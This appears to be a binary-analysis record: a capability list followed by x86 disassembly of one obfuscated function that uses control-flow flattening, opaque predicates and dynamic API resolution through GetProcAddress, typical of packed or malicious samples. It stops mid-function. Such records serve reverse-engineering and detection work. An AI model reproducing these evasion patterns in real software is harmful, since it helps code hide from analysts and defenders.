Function at 0x401000
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Create thread
Encode data using base64
Encode data using xor
Get number of processors
Hash data using murmur3
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1bc
mov eax, dword [0x506e40]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, 0x94721d42
jmp 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0xaac7275b
and edi, 0x5538d8a4
and edx, 0xbc4ba06a
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0x43b45f95
mov ebx, esi
not ebx
and esi, 0x5538d8a4
or eax, edx
or ecx, ebx
and ebx, 0xaac7275b
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x7540947f
mov esi, edx
and esi, 0x8abf6b80
or ecx, esi
mov esi, eax
xor esi, 0x41001415
xor eax, 0x880b2000
and eax, 0x8abf6b80
and esi, 0x7540947f
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x2b7b2bf4
setne ah
sete dl
cmp dword [0x508180], 0xa
mov cl, ah
setge al
setl ch
xor cl, ch
and ah, ch
mov ch, al
xor ch, dl
and ch, al
and al, dl
or al, ah
or al, ch
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
mov ecx, 0xd45d0ff1
cmovne ecx, esi
test al, al
mov eax, 0xd45d0ff1
cmovne eax, ecx
test dl, dl
cmove eax, ecx
nop word cs:[eax + eax]
cmp eax, 0xf8b33d
jg 0x401330
cmp eax, 0xc38d791d
jle 0x4013a0
cmp eax, 0xe2188f57
jle 0x4015fa
cmp eax, 0xf387e886
jle 0x4019dd
cmp eax, 0xfb3568ea
jg 0x402014
cmp eax, 0xf82a9637
jle 0x402b5b
cmp eax, 0xf97335d5
jg 0x40426d
cmp eax, 0xf82a9638
je 0x40776e
cmp eax, 0xf875a1d0
je 0x40777e
cmp eax, 0xf8f26810
jne 0x401100
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x54fa3515
and ecx, 0xab05caea
or edx, ecx
xor edx, 0x54fa3515
or eax, edx
mov esi, eax
xor esi, 0x11544384
mov edx, eax
and edx, 0x7919c331
and esi, eax
not eax
and eax, 0x86e63cce
or edx, eax
mov ecx, edx
xor edx, 0x86e63cce
xor ecx, 0x7919c331
mov eax, edx
or eax, 0xeeabbc7b
mov ebx, ecx
and ebx, 0x404084
and edx, 0xe479430
mov edi, eax
and edi, 0x95169f53
or ebx, edi
mov edi, esi
not edi
and esi, 0x6ae960ac
or eax, edi
and edi, 0x95169f53
or esi, edi
not eax
xor esi, ebx
or eax, esi
mov esi, eax
not esi
and eax, 0xfd1244e
and esi, 0xf02edbb1
or eax, esi
mov esi, ecx
and esi, 0xf1b86bcf
and ecx, 1
or esi, edx
mov edx, esi
xor edx, 0x8431411
xor esi, 0x7030230c
or ecx, edx
mov edx, eax
xor edx, 0x16802140
and esi, 0x7634a32c
xor eax, 0xe17a9834
and ecx, 0x89cb5cd3
and edx, 0x579aa964
or ecx, esi
mov esi, eax
and esi, 0xa865569b
or edx, esi
mov esi, ecx
xor esi, 0x18a0840
xor ecx, 0x7634a32c
or eax, ecx
and ecx, 0xa865569b
and esi, 0x579aa964
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov edx, eax
xor edx, 0xf5d68c7c
mov ecx, eax
and ecx, 0x54c40834
and edx, eax
not eax
and eax, 0xa1128448
or ecx, eax
mov eax, ecx
xor eax, 0x10c00814
xor ecx, 0xab3bf7cb
mov esi, ecx
and esi, 0xc63f94ea
and eax, 0x31c00814
or eax, esi
mov esi, edx
not esi
and edx, 0x39c06b15
or ecx, esi
and esi, 0xc63f94ea
or edx, esi
not ecx
mov esi, 0xa8e44cec
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xf5d68c7c
and eax, 0xa297383
or ecx, eax
sete al
setne cl
cmp dword [0x508180], 0xa
setl dl
setge ah
and al, ah
and dl, cl
or ah, cl
or al, dl
mov ecx, eax
and al, ah
xor ah, 1
xor cl, 1
mov dl, ah
xor dl, cl
and cl, ah
and dl, ah
or cl, al
mov eax, 0xa5a69a4c
mov ch, dl
xor ch, cl
test cl, cl
cmovne eax, esi
test dl, dl
mov edx, 0xa5a69a4c
jmp 0x406b69
cmp eax, 0x496c5e22
jg 0x401410
cmp eax, 0x23c3d8fa
jle 0x40176a
cmp eax, 0x2fb7842a
jle 0x401b51
cmp eax, 0x420aeb46
jg 0x4021ce
cmp eax, 0x3341bb5b
jle 0x402b91
cmp eax, 0x3c45c24e
jg 0x404344
cmp eax, 0x3341bb5c
je 0x407788
cmp eax, 0x3418fc65
je 0x40779e
cmp eax, 0x3a4f5253
jne 0x401100
mov eax, 0xe73678
jmp 0x401100
cmp eax, 0xa05bd797
jle 0x40192f
cmp eax, 0xb32846bd
jle 0x401c57
cmp eax, 0xbbdc6676
jg 0x402259
cmp eax, 0xb526e806
jle 0x402c85
cmp eax, 0xb863e7b6
jg 0x40437b
cmp eax, 0xb526e807
je 0x4077a8
cmp eax, 0xb57c2224
je 0x40790b
cmp eax, 0xb63806df
jne 0x401100
mov eax, 0xc5326a3f
jmp 0x401100
cmp eax, 0x63d09056
jle 0x401986
cmp eax, 0x70c37187
jle 0x401cac
cmp eax, 0x7989e792
jg 0x4022a4
cmp eax, 0x73b0d1ee
jle 0x402cbb
cmp eax, 0x771bc223
jg 0x4043b2
cmp eax, 0x73b0d1ef
je 0x407915
cmp eax, 0x748148b8
je 0x407a1b
cmp eax, 0x754c1c58
jne 0x401100
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xa46c6208
and eax, ecx
not ecx
and ecx, 0xa46c6208
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xef56a60
and ecx, 0xf10a959f
or eax, ecx
mov edx, eax
xor edx, 0xaa990868
xor eax, 0x5566f797
mov ecx, edx
or ecx, 0x809250
mov esi, eax
or esi, 0x73480880
mov edi, eax
and edi, 0x8412242c
and ecx, 0x73c89ad0
and esi, 0x73c89ad0
or edi, ecx
mov ecx, edx
and ecx, 0x8254103
and edx, 0xe114d88d
or ecx, esi
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0x93d4997d
and esi, 0x6c2b6682
or ecx, esi
mov esi, eax
and esi, 0x1eeb2772
and eax, 1
or esi, edx
xor ecx, 0x648eb5d0
mov edx, esi
xor edx, 0xa014d884
xor esi, 0x16cb0462
or eax, edx
and esi, 0x57cb046a
and eax, 0xa834fb95
or eax, esi
mov esi, 0x3c45c24f
xor eax, 0xa834fb95
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xea5ea731
and ecx, 0x15a158ce
or eax, ecx
mov ecx, eax
xor ecx, 0x6256a130
xor eax, 0x2018c6
and eax, 0x88281ec7
and ecx, 0x77d7e138
or ecx, eax
mov eax, ecx
xor eax, 0x8081881
xor ecx, 0x7056c000
and ecx, 0xf076c646
and eax, 0xf8939b9
or eax, ecx
mov ecx, eax
xor ecx, 0x6880101
xor eax, 0x2076c642
and eax, 0x2977fefa
and ecx, 0xd6880105
or ecx, eax
mov eax, ecx
xor eax, 0x10665a
xor ecx, 0x56000104
and ecx, 0x7f6799a4
and eax, 0x8098665b
or eax, ecx
xor eax, 0x8098665b
setne ah
sete dl
cmp dword [0x508180], 0xa
mov cl, ah
setl al
setge ch
and cl, al
or dl, al
xor al, ah
inc ah
and ah, ch
or cl, ah
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x70c37188
cmovne ecx, esi
test al, 1
mov eax, 0x70c37188
jmp 0x40c58a
cmp eax, 0xd1d5896e
jle 0x401cf8
cmp eax, 0xd650c374
jg 0x4022e5
cmp eax, 0xd43d8d0b
jle 0x402d00
cmp eax, 0xd4a5ded7
jg 0x404509
cmp eax, 0xd43d8d0c
je 0x407b39
cmp eax, 0xd45d0ff1
je 0x407f4a
cmp eax, 0xd4948197
jne 0x401100
mov eax, dword [ebp - 0x68]
mov edx, dword [ebp - 0x9c]
mov edi, 0x3a4f5253
lea eax, [eax + eax*4]
lea ecx, [edx + eax*8]
mov eax, dword [edx + eax*8 + 0xc]
mov dword [ebp - 0x144], 0x45a000
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x148], ecx
mov ecx, dword [0x508184]
mov dword [ebp - 0x140], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x20441800
and eax, 0x85100011
mov edx, ecx
or edx, 0x2034242
and esi, 0x22475a42
and ecx, 0x58a8a5ac
and edx, 0x22475a42
or ecx, esi
mov esi, 0x7bd2a842
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xc528b928
and ecx, 0x3ad746d7
or eax, ecx
mov ecx, eax
xor eax, 0x607ca138
xor ecx, 0x9f835ec6
mov edx, ecx
and eax, 0xfffffffe
and ecx, 1
and edx, 0xfffffffe
or ecx, eax
or ecx, edx
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x7adfe9ca
and ecx, 0x85201635
or edx, ecx
xor edx, 0x7adfe9ca
or eax, edx
mov ecx, eax
not ecx
and eax, 0x60e0ae1b
mov edx, ecx
and edx, 0x9f1f51e4
or eax, edx
xor eax, 0x60e0ae1b
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x508180], 0xa
setl al
setge ch
mov dh, al
and dl, ch
and al, ah
xor dh, ah
or al, dl
mov cl, dh
xor cl, ch
and cl, dh
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0x3a4f5253
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, edi
test cl, cl
cmove eax, edx
jmp 0x401100
cmp eax, 0x1535a293
jg 0x401e77
cmp eax, 0xd392b80
jle 0x40244a
cmp eax, 0x113f8ebe
jle 0x402d45
cmp eax, 0x127cce70
jg 0x40464c
cmp eax, 0x113f8ebf
je 0x408102
cmp eax, 0x1169ad4c
je 0x408118
cmp eax, 0x118e50db
jne 0x401100
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xb359aa3a
and edx, ecx
not ecx
and ecx, 0xb359aa3a
or edx, ecx
mov eax, edx
not eax
and edx, 0x8c6e6dce
and eax, 0x73919231
or edx, eax
mov ecx, edx
xor ecx, 0x3f37c7f4
xor edx, 0xc0c8380b
mov eax, edx
mov esi, ecx
or eax, 1
and edx, 0xfffffffe
and esi, 1
and ecx, 0xb67a313a
or esi, edx
mov edx, eax
and edx, 0x4985cec5
or ecx, edx
mov edx, esi
not edx
and esi, 0xb67a313a
or eax, edx
and edx, 0x4985cec5
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x1484284
and eax, 0x151c41
mov edx, ecx
and edx, 0xe8a0a028
or ecx, 0xe0208204
or esi, edx
and ecx, 0xf6228316
mov edx, esi
xor edx, 0x1484080
xor esi, 0xf6228112
or eax, ecx
and esi, 0xf6228316
and edx, 0x9c860a8
or edx, esi
mov esi, 0xf268cc9a
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x5c55157a
and ecx, 0xa3aaea85
or eax, ecx
mov ecx, eax
xor ecx, 0x3580c292
xor eax, 0x48400021
and eax, 0xc87d3565
and ecx, 0x3782ca9a
or ecx, eax
mov eax, ecx
xor eax, 0x23008298
xor ecx, 0x403d0565
and ecx, 0x54bf4d67
and eax, 0xab40b298
or eax, ecx
cmp eax, 0xab40b298
setne ah
cmp dword [0x508180], 0xa
mov al, ah
mov ch, ah
setl dl
setge cl
inc al
and al, ah
xor al, 1
xor ch, al
or al, ah
xor al, 1
or al, ch
mov ch, al
xor al, 1
and al, dl
mov edx, ecx
and ch, cl
or cl, ah
xor dl, ah
xor cl, 1
or al, ch
or cl, dl
xor dl, 1
mov ch, al
mov ah, dl
or dl, cl
xor ch, 1
xor ah, cl
xor dl, 1
or dl, ah
mov cl, dl
not cl
and cl, ch
or ch, dl
and dl, al
mov eax, 0xc6830342
or dl, cl
mov cl, ch
xor cl, dl
test dl, dl
mov edx, 0xc6830342
jmp 0x40b24c
cmp eax, 0x93c8abc1
jg 0x401ec3
cmp eax, 0x8859d814
jle 0x402497
cmp eax, 0x9127c421
jle 0x402d7b
cmp eax, 0x929c17f7
jg 0x404683
cmp eax, 0x9127c422
je 0x4082c9
cmp eax, 0x917a80b7
je 0x4082e8
cmp eax, 0x9289af1c
jne 0x401100
mov eax, 0x1169ad4c
jmp 0x401100
cmp eax, 0x56a92e89
jg 0x401fbf
cmp eax, 0x4f986943
jle 0x4024df
cmp eax, 0x52d48f24
jle 0x402dd9
cmp eax, 0x550ddf88
jg 0x4046cd
cmp eax, 0x52d48f25
je 0x4082f2
cmp eax, 0x54bf347b
je 0x40830d
cmp eax, 0x550490a1
jne 0x401100
mov eax, 0xffe43292
jmp 0x401100
cmp eax, 0xeaba0455
jle 0x402618
cmp eax, 0xee951e10
jle 0x402e0f
cmp eax, 0xf20d8056
jg 0x4046f8
cmp eax, 0xee951e11
je 0x408470
cmp eax, 0xef2c232f
je 0x408481
cmp eax, 0xf09ed525
jne 0x401100
mov eax, dword [0x508184]
mov edi, 0xbcceda61
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0x58f405d1
mov ecx, eax
and ecx, 0xa70bfa2e
and eax, 0x366f5c11
or ecx, edx
mov edx, ecx
xor edx, 0x8100a22e
xor ecx, 0x58f405d0
and edx, 0xc990a3ee
and ecx, 0xfffffffe
or eax, edx
mov edx, eax
not edx
and eax, 0x1a00325a
and edx, 0xe5ffcda5
or eax, edx
xor eax, 0xd39091b5
or ecx, eax
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0x9884f5b1
and ecx, 0x677b0a4e
or eax, ecx
mov ecx, eax
xor ecx, 0x1804a530
xor eax, 0x677b0a4e
mov esi, eax
and esi, 0xa5bb5ac7
and ecx, 0x5a44a538
or ecx, esi
mov esi, edx
not esi
and edx, 0x5a44a538
or eax, esi
and esi, 0xa5bb5ac7
or edx, esi
not eax
mov esi, 0x58b47ffc
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xabe05518
and ecx, 0x541faae7
or eax, ecx
mov ecx, eax
xor ecx, 0x21c05110
xor eax, 0x54138827
and eax, 0xde338c2f
and ecx, 0x21cc73d0
or ecx, eax
xor ecx, 0x21cc73d0
sete al
setne dl
cmp dword [0x508180], 0xa
setl ah
mov cl, ah
mov ch, ah
or cl, al
xor al, ah
xor ch, dl
or dl, ah
and al, ah
xor ch, 1
xor cl, 1
xor al, 1
or cl, ch
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
and al, cl
xor ah, 1
or cl, ah
and ah, dl
or ah, al
mov dl, ah
xor dl, cl
test ah, 1
mov eax, 0xbcceda61
jmp 0x40b89f
cmp eax, 0x2b7b2bf3
jle 0x402719
cmp eax, 0x2d3a1eb8
jle 0x402e45
cmp eax, 0x2e3b3331
jg 0x404723
cmp eax, 0x2d3a1eb9
je 0x40848e
cmp eax, 0x2dc7f4be
je 0x4084be
cmp eax, 0x2e22818c
jne 0x401100
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov edx, eax
mov ecx, eax
not edx
or ecx, 0xffff
mov edi, edx
mov esi, ecx
and esi, 0xe2cebe1e
and edi, 0x1d310000
and edx, 0x1161643b
or edi, esi
mov esi, eax
xor esi, 0xffff0000
and esi, eax
and eax, 0xee9e9bc4
mov ebx, esi
not ebx
and esi, 0x1d3141e1
or eax, edx
or ecx, ebx
and ebx, 0xe2cebe1e
or esi, ebx
not ecx
xor esi, edi
mov edi, eax
xor edi, 0xc4169000
xor eax, 0x4012
or ecx, esi
and eax, 0x2a884bd6
and edi, 0xd577b429
mov edx, ecx
not edx
and ecx, 0xd577b429
or edi, eax
mov eax, dword [ebp - 0x90]
mov esi, edx
and esi, 0x2a884bd6
or ecx, esi
xor edi, ecx
not edi
or edi, edx
not edi
push edi
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
mov ecx, 0xc6b3ebce
mov eax, dword [ebp - 0x70]
cmp dword [eax], 0
mov eax, 0xc5f97318
cmove eax, ecx
jmp 0x401100
cmp eax, 0xa8383f70
jle 0x402775
cmp eax, 0xacdd768d
jle 0x402e82
cmp eax, 0xae7572cb
jg 0x40474e
cmp eax, 0xacdd768e
je 0x4084c8
cmp eax, 0xad23f8a0
je 0x408672
cmp eax, 0xadca3612
jne 0x401100
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x130], eax
mov eax, 0xfb723fbd
jmp 0x401100
cmp eax, 0x68b6bfa2
jle 0x4027b6
cmp eax, 0x6be918f4
jle 0x402f8a
cmp eax, 0x6f7fafab
jg 0x404779
cmp eax, 0x6be918f5
je 0x4087d2
cmp eax, 0x6e1e9529
je 0x4087dc
cmp eax, 0x6efd5276
jne 0x401100
mov eax, 0x63088ac6
jmp 0x401100
cmp eax, 0xc8f7b2b4
jle 0x4028c1
cmp eax, 0xccf57f9f
jle 0x402fcc
cmp eax, 0xcf13fddf
jg 0x4047a7
cmp eax, 0xccf57fa0
je 0x408918
cmp eax, 0xcd1726f0
je 0x408a5f
cmp eax, 0xcea0c122
jne 0x401100
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + 4]
mov dword [ebp - 0x8c], ecx
mov eax, dword [ebp - 0x38]
mov edx, dword [0x508184]
lea ecx, [edx + 1]
mov eax, dword [eax]
imul ecx, edx
mov edx, ecx
not edx
and ecx, 0x7af425e3
and edx, 0x850bda1c
mov dword [ebp - 0xa0], eax
or ecx, edx
mov esi, ecx
mov edi, ecx
xor esi, 0x209404c2
xor edi, 0x850bda1c
xor ecx, 0x42302140
mov edx, edi
or edx, 1
and edi, 0x5b603b2d
and esi, 0xa49fc4d2
and ecx, 0xc73aa950
or esi, edi
mov edi, edx
and edi, 0x38c556af
or ecx, edi
mov edi, esi
xor edi, 0x841a8050
xor esi, 0x5b603b2c
or edx, esi
and esi, 0x38c556af
and edi, 0xc73aa950
or edi, esi
not edx
mov esi, 0x6886e25a
xor edi, ecx
or edx, edi
mov edi, 0xf387e887
mov ecx, edx
not ecx
and edx, 0xe7f00181
and ecx, 0x180ffe7e
or ecx, edx
mov edx, ecx
xor edx, 0xe5620
xor ecx, 0x63900000
and ecx, 0x7b91a85e
and edx, 0x846e57a1
or edx, ecx
cmp edx, 0x846e57a1
setne dl
cmp dword [0x508180], 0xa
mov ecx, edx
setl ch
setge dh
inc cl
mov bl, ch
and bl, dl
or dl, ch
or ch, cl
and cl, dh
or cl, bl
xor dl, 1
xor cl, 1
or dl, bl
mov dh, cl
or cl, ch
xor dh, ch
xor cl, 1
mov ch, dl
or cl, dh
mov dh, cl
xor ch, cl
and cl, dl
and ch, dl
not dh
xor dl, 1
and dl, dh
or cl, dl
mov dl, ch
xor dl, cl
test dl, 1
cmovne esi, edi
test cl, 1
mov edx, esi
cmovne edx, edi
test ch, ch
cmove edx, esi
mov eax, edx
jmp 0x401100
cmp eax, 0x1d52ec9b
jle 0x4029a0
cmp eax, 0x1f890248
jle 0x403002
cmp eax, 0x20dc0034
jg 0x4047e1
cmp eax, 0x1f890249
je 0x408a69
cmp eax, 0x1f9b71d6
je 0x408a73
cmp eax, 0x1fe622f0
jne 0x401100
mov eax, 0x6107e7df
jmp 0x401100
cmp eax, 0x999cbbc5
jle 0x4029eb
cmp eax, 0x9c19de50
jle 0x403043
cmp eax, 0x9ef945e8
jg 0x40480c
cmp eax, 0x9c19de51
je 0x408a7d
cmp eax, 0x9cb44498
je 0x408aa8
cmp eax, 0x9dce59e8
jne 0x401100
mov ecx, dword [ebp - 0x1a4]
mov eax, ecx
not eax
and ecx, 0x89b53892
and eax, 0x764ac76d
or ecx, eax
mov eax, ecx
xor eax, 0x80b41080
xor ecx, 0x6000164
and ecx, 0xf012976
and eax, 0xf0fed689
or eax, ecx
mov esi, eax
xor esi, 0xf0fed689
mov edx, eax
and eax, 0x40000000
xor edx, 0xd000942
mov ecx, esi
and esi, 0xbfffffff
or ecx, 0x40000000
and edx, 0x3d2c0bca
or eax, esi
mov ebx, ecx
and ebx, 0x82d3f435
mov edi, eax
not edi
and eax, 0x7d2c0bca
or edx, ebx
or ecx, edi
and edi, 0x82d3f435
or eax, edi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
xor eax, 0x984ef6ff
and eax, ecx
not ecx
and ecx, 0x984ef6ff
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x38dfa437
and ecx, 0xc7205bc8
or eax, ecx
mov ecx, 0x28d0a49c
cmp eax, 0xa09152c8
mov eax, 0x4716515b
cmove eax, ecx
jmp 0x401100
cmp eax, 0x5d0e28d7
jle 0x402a2c
cmp eax, 0x5ff5fbb2
jle 0x403099
cmp eax, 0x623cb3d3
jg 0x404921
cmp eax, 0x5ff5fbb3
je 0x408ab8
cmp eax, 0x6107e7df
je 0x408b60
cmp eax, 0x62000e75
jne 0x401100
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xd4], eax
mov eax, 0x99960956
jmp 0x401100
cmp eax, 0xfd7c1ad3
jle 0x4031f9
cmp eax, 0xffe43291
jg 0x40494c
cmp eax, 0xfd7c1ad4
je 0x408c4f
cmp eax, 0xfd85d6d8
je 0x408c59
cmp eax, 0xfdc516d1
jne 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
xor esi, 0xd9c88608
mov edx, eax
not edx
and esi, eax
mov ebx, edx
and ebx, 0x50400208
and edx, 0xcede368d
mov ecx, esi
not ecx
and esi, 0x5040521b
mov edi, ecx
and edi, 0xafbfade4
or esi, edi
mov edi, eax
or edi, 0x263779f7
or ecx, edi
and edi, 0xafbfade4
or ebx, edi
not ecx
xor ebx, esi
or ecx, ebx
mov esi, ecx
not esi
and ecx, 0x263779f6
and esi, 0xd9c88609
or ecx, esi
mov esi, eax
and esi, 0x3121c972
and eax, 1
or esi, edx
xor esi, 0xcede368c
or eax, esi
mov edx, eax
not edx
and eax, 0x442824ae
and edx, 0xbbd7db51
or eax, edx
xor eax, 0x442824ae
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x9e94c744
and eax, 0x400b0801
mov edx, ecx
and edx, 0x602090
or ecx, 0x8ec46210
or esi, edx
and ecx, 0xafc4723a
mov edx, esi
xor edx, 0x10108544
xor esi, 0x2140303a
or eax, ecx
and esi, 0xafc4723a
and edx, 0x103085c4
or edx, esi
mov esi, 0x4c545e39
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x9ef4e7d4
and ecx, 0x610b182b
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x25297cb4
mov edx, ecx
and edx, 0xdad6834b
or eax, edx
xor eax, 0xdad6834b
xor ecx, eax
test ecx, eax
setne ah
cmp dword [0x508180], 0xa
mov ch, ah
mov cl, ah
setl dh
setge al
inc ch
mov dl, ch
and dl, ah
xor dl, 1
xor cl, dl
or dl, ah
xor dl, 1
or cl, dl
or dl, ch
xor ch, dh
mov ebx, ecx
xor cl, 1
xor dl, dh
and bl, al
or al, ah
and cl, dh
xor al, 1
or cl, bl
or al, ch
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, 1
and al, cl
xor ah, 1
and dl, ah
or dl, al
mov al, cl
xor al, ah
or ah, cl
mov ecx, 0xdc5ece78
xor ah, 1
or ah, al
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0xdc5ece78
jmp 0x4010ec
cmp eax, 0x456150c9
jle 0x4032be
cmp eax, 0x477c6f4c
jg 0x4049a1
cmp eax, 0x456150ca
je 0x408d8a
cmp eax, 0x460cc04a
je 0x408d97
cmp eax, 0x4716515b
jne 0x401100
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov eax, ecx
xor eax, 0x21c11cde
mov edx, ecx
and edx, 0x2181089c
and eax, ecx
not ecx
mov esi, ecx
and esi, 0x401442
or edx, esi
xor edx, 0x2181089c
or eax, edx
mov edx, eax
not edx
and eax, 0x88e20f31
and edx, 0x771df0ce
or eax, edx
xor eax, 0xd6dcec10
or eax, ecx
not eax
mov dword [ebp - 0x104], eax
mov eax, 0xc3dc286f
jmp 0x401100
cmp eax, 0xbf5ea8e2
jle 0x40347f
cmp eax, 0xc2bdfabf
jg 0x4049d3
cmp eax, 0xbf5ea8e3
je 0x408e28
cmp eax, 0xbfa26346
je 0x408e32
cmp eax, 0xc175a61c
jne 0x401100
mov dword [ebp - 0xbc], 0
mov eax, 0x9a24a393
jmp 0x401100
cmp eax, 0x7bbb1c6c
jle 0x403691
cmp eax, 0x7d67df1d
jg 0x404a7b
cmp eax, 0x7bbb1c6d
je 0x408ebb
cmp eax, 0x7bc459a3
je 0x408f5d
cmp eax, 0x7bd2a842
jne 0x401100
mov eax, 0xd4948197
jmp 0x401100
cmp eax, 0xd8174515
jle 0x4038d0
cmp eax, 0xd9ff8ee9
jle 0x404ba0
cmp eax, 0xd9ff8eea
je 0x408f7d
cmp eax, 0xda5cb694
je 0x408f96
cmp eax, 0xdc5ece78
jne 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0x88dbaff1
and eax, 0x7724500e
or edx, eax
xor edx, 0x88dbaff1
or ecx, edx
mov esi, ecx
not esi
mov edx, ecx
and edx, 0xd7959089
and ecx, 0xbbd10552
mov eax, esi
and esi, 0x286a6f76
or eax, 1
or edx, esi
mov esi, eax
and esi, 0x442efaad
or ecx, esi
mov esi, edx
xor esi, 0x93910000
xor edx, 0x286a6f77
or eax, edx
and edx, 0x442efaad
and esi, 0xbbd10552
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x55e0c742
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x8b16d94
and ecx, 0xf74e926b
or ecx, edx
xor ecx, 0xf74e926b
or ecx, eax
xor ecx, 0xffffffff
sete cl
setne ah
cmp dword [0x508180], 0xa
setge dl
setl al
mov ch, dl
xor al, ah
inc ch
and ch, ah
mov ah, dl
xor ah, cl
and ah, dl
and dl, cl
or dl, ch
xor ah, 1
xor dl, 1
mov cl, ah
xor cl, dl
or dl, ah
xor dl, 1
or dl, cl
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
xor dl, 1
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
xor ah, al
or dl, ch
mov ch, dl
xor dl, 1
and ch, al
xor al, 1
or cl, al
and dl, al
xor cl, 1
or dl, ch
or cl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x4c545e39
cmovne esi, eax
test cl, 1
mov eax, 0x55e0c742
jmp 0x4092df
cmp eax, 0xa3d1cf1
jg 0x403906
cmp eax, 0x2f87847
jle 0x404bc0
cmp eax, 0x2f87848
je 0x408fa0
cmp eax, 0x428a8ca
je 0x409059
cmp eax, 0x5cdc281
jne 0x401100
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x198], eax
mov eax, 0x646ccda8
jmp 0x401100
cmp eax, 0x8347b73d
jg 0x403aa3
cmp eax, 0x81f97f43
jle 0x404be0
cmp eax, 0x81f97f44
je 0x40906e
cmp eax, 0x82e77997
je 0x40907f
cmp eax, 0x82eeff82
jne 0x401100
mov dword [ebp - 0x28], 0xd
mov eax, 0xef2c232f
jmp 0x401100
cmp eax, 0x4c545e38
jg 0x403af3
cmp eax, 0x4a1eb1d7
jle 0x404c00
cmp eax, 0x4a1eb1d8
je 0x40916d
cmp eax, 0x4a652733
je 0x4092ec
cmp eax, 0x4c34b09d
jne 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov edi, eax
and edi, 0x86401163
mov edx, eax
xor edx, 0xc7433963
mov ecx, esi
and ecx, 0x41032800
and edx, eax
and esi, 0xde533bf2
and eax, 0x21acc40d
or edi, ecx
or eax, esi
xor edi, 0x86401163
or edx, edi
mov edi, 0xfd6879bc
mov ecx, edx
not ecx
and edx, 0xe17199ab
and ecx, 0x1e8e6654
or edx, ecx
mov ecx, edx
xor edx, 0xd9cd0112
xor ecx, 0x2632a0c9
mov esi, ecx
and esi, 0x20227e2d
and edx, 0xdfdd81d2
or edx, esi
mov esi, eax
xor esi, 0x18c8000
xor eax, 0xde533bf2
or ecx, eax
and eax, 0x20227e2d
and esi, 0xdfdd81d2
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0xfd6879bc
mov eax, ecx
not eax
and ecx, 0x65bfdfae
and eax, 0x9a402051
or ecx, eax
xor ecx, 0x65bfdfae
sete dl
setne ah
cmp dword [0x508180], 0xa
setl al
mov ecx, eax
xor ah, al
xor al, dl
